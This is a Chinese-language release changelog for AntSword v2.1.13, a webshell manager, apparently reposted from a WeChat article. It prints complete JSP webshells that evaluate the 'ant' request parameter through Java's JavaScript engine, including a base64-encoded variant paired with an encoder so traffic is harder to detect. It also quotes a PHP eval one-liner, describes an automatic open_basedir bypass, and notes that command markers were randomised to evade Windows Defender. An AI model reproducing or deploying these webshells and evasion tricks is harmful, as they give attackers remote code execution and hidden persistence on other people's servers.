AntSword v2.1.13更新日志
2021-6-19 13:57:11 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

写在前面

    给领导们汇报一下 v2.1.13 的更新情况,新增了一个新的JSP类型,更新了一波插件,修了一些Bug。


核心

  • ❗️❗️❗️新增 JSPJS Shell 类型 (Author: @yzddMr6)

基于 Java 内置的 JS 引擎来实现的 JSP 一句话类型, jdk >= 6

相较于 jsp defineClass 实现,该方式的数据包大小明显小了不少

设计思路请参考 Mr6 的文章: 《一种新型Java一句话木马的实现 》(https://xz.aliyun.com/t/9715)

值得一提的是,JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了

请耐心看完下面的 Note

目前该类型默认生成的 WebShell 如下:

<%  try {    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");    engine.put("request", request);    engine.put("response", response);    engine.eval(request.getParameter("ant"));  } catch (Exception e) {    out.println("Error:// "+e.toString());  }%>

从WebShell代码上就能看出来,在流量层上和 PHP 最基础的WebShell <?php eval($_POST['ant']);?> 一样具有明显特征,不建议直接使用, 请配合自定义编码器进行:

eg:  b64pass 编码器

// b64pass 编码器'use strict';module.exports = (pwd, data) => {  data[pwd] = Buffer.from(data['_']).toString('base64');  delete data['_'];  return data;}

对应 WebShell 如下:

<%!public byte[] base64Decode(String str) throws Exception {  Class base64;  byte[] value = null;  try {    base64=Class.forName("sun.misc.BASE64Decoder");    Object decoder = base64.newInstance();    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });  } catch (Exception e) {    try {      base64=Class.forName("java.util.Base64");      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });    } catch (Exception ee) {}  }  return value;}%><%  try {    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");    engine.put("request", request);    engine.put("response", response);    engine.eval(new String(base64Decode(request.getParameter("ant"))));  } catch (Exception e) {    out.println("Error:// "+e.toString());  }%>

请自行对照最基础的 WebShell 样例自由发挥,再多的就不需要我再说了吧 :)

  • ❗️PHP/PHP4 类型增加 Bypass open_basedir (自动尝试)

利用的是 chdir('..'); 的方式, 仅会在目标配置了 open_basedir 时才会自动尝试。使用时无感知,如果是插件开发者,需要判断 open_basedir 的值是不是 / , 当然也会影响当前所在目录

该功能会影响v0.13之前版本 PHP Bypass DisableFunction 插件, 请及时更新插件


虚拟终端

  • 虚拟终端显示文字样式调亮(thx @Nearg1e 帮我们暗中收集调研了一波需求)

  • 终端执行命令路径分割符由固定的 [S][E] 改为随机字符串

别问, 要问就去问 Windows Defender

数据管理

  • 开启代理情况下在数据管理状态栏会有提示


后端模块
  • 修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常

eg:

'use strict';module.exports = (pwd, data) => {  data['test'] = 123; // 这里会引发异常  data[pwd] = data['_'];  delete data['_'];  return data;}

插件相关

请及时更新相关插件

  • ExecuteScript 支持 JSPJS 类型

  • GenShell 支持 JSPJS 类型 Shell 生成

  • Bypass disable_function

    • 修正 bypass open_basedir 场景下上传路径问题

    • .antproxy.php 上传至与 Webshell 同路径下

    • php -S 利用方式会在界面显示开启的临时端口

  • PortScan 支持 JSPJS 类型

  • Out-of-Network 支持 JSPJS 类型


写在最后

没了,有新版就快更新吧


不如关注一波再走?


文章来源: https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&mid=2247484243&idx=1&sn=63d3b699f49cebba9a2b8ecb91100909&chksm=e91c58abde6bd1bd443d4767a1f245401d9421e48ccc475d5e6f88308467696c444c25b320be&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh